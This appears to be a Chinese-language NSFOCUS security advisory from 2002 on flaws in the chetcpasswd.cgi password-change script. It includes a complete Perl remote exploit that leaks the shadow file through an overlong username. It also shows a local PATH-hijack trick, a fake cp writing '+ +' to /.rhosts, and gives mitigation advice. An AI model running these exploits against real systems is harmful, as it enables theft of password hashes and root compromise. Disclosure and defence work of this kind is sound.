首页 -> 安全研究

安全研究

安全漏洞
Chpasswd可远程访问敏感文件漏洞

发布日期:2002-12-23
更新日期:2002-12-30

受影响系统:
CHETCPASSWD CHETCPASSWD
描述:
BUGTRAQ  ID: 6472

Chpasswd是一个允许用户通过Web更改自己Squid及Web访问口令的工具。

Chpasswd软件中的chetcpasswd.cgi脚本实现上存在多个本地或远程漏洞,远程攻击者可能利用这些漏洞访问到某些敏感文件信息,本地攻击者可能获取root用户访问权限。



<*来源:Victor Pereira (vpereira@modulo.com.br
  
  链接:http://www.securiteam.com/unixfocus/6C00N0K6AO.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

如果在用户名字段中输入120字节数据,服务器程序会返回shadow文件。

Exploit Code (Remote):
#!/usr/bin/perl -w
#Exploit coded by Victor Pereira <vpereira@modulo.com.br>
#Thanks to Alexandre Vargas And Thiago Zaninotti
use strict;
use Socket;
my ($remote,$port, $iaddr, $paddr, $proto,$linha,$query,$len_query,$ARGC,$fakeuser,$linhas,$pattern);

$ARGC=@ARGV;
if($ARGC < 1){
        print "chetcpasswd.cgi exploit\n";
print "coded by VP <vpereira\@modulo.com.br>\n";
        print "Usage:$0 <host>\n";
        exit;
}
$fakeuser="ASSHOLEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";
$pattern="User: E*E";

$query="user=$fakeuser&old_pw=teste&new_pw1=teste1&new_pw2=teste1&change='Altere minha senha'";

$len_query=length($query);
$remote = $ARGV[0];
$port = 80; # random port
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
die "No port" unless $port;
$iaddr = inet_aton($remote) || die "no host: $remote";
$paddr = sockaddr_in($port, $iaddr);

$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(SOCK, $paddr) || die "connect: $!";
select(SOCK); $|=1; select(STDOUT);
print SOCK "POST /cgi-bin/chetcpasswd.cgi HTTP/1.0\n";
print SOCK "Connection: Keep-Alive\n";
print SOCK "Content-type: application/x-www-form-urlencoded\n";
print SOCK "Content-length: $len_query\n";
print SOCK "\n$query\r\n\r\n";

$linha = "";
while (<SOCK>) {

    $linha = $_;
    if($linha =~ s/<.*?>//g){
         $linha =~ s/$pattern//g;
         print $linha;
}
close (SOCK) || die "close: $!";
exit;

脚本盲目信任PATH环境变量,如果我们在某个目录下放置自己的cp程序,并设置环境变量,我们就有可能通过WWW服务执行之。

Exploit (Local):
Reading the source code you can find (lines 229-235) something like this:
<codigo>

      if(ok) {
               sprintf(command,"cp %s %s",template,pwdfile);
        system(command);
        unlink(template);
        sprintf(Msg,"<font color=blue size=+2>%s %s.",msg18,User);
        Hmsg(Msg, Uid, Gid);
      }
</codigo>

echo "echo + + /.rhosts" > /tmp/cp
export PATH=/tmp:$PATH

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 通过创建/etc/chetcpasswd.allow文件来设置允许访问的IP地址。

比如
192.168.82.10 - only this IP will use
192.168.82.0 - IP's from 1 to 255
192.168.0.0 - ...
192.0.0.0 - ...
0.0.0.0

厂商补丁:

Mollensoft Software
-------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mollensoft.com

浏览次数:2993
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障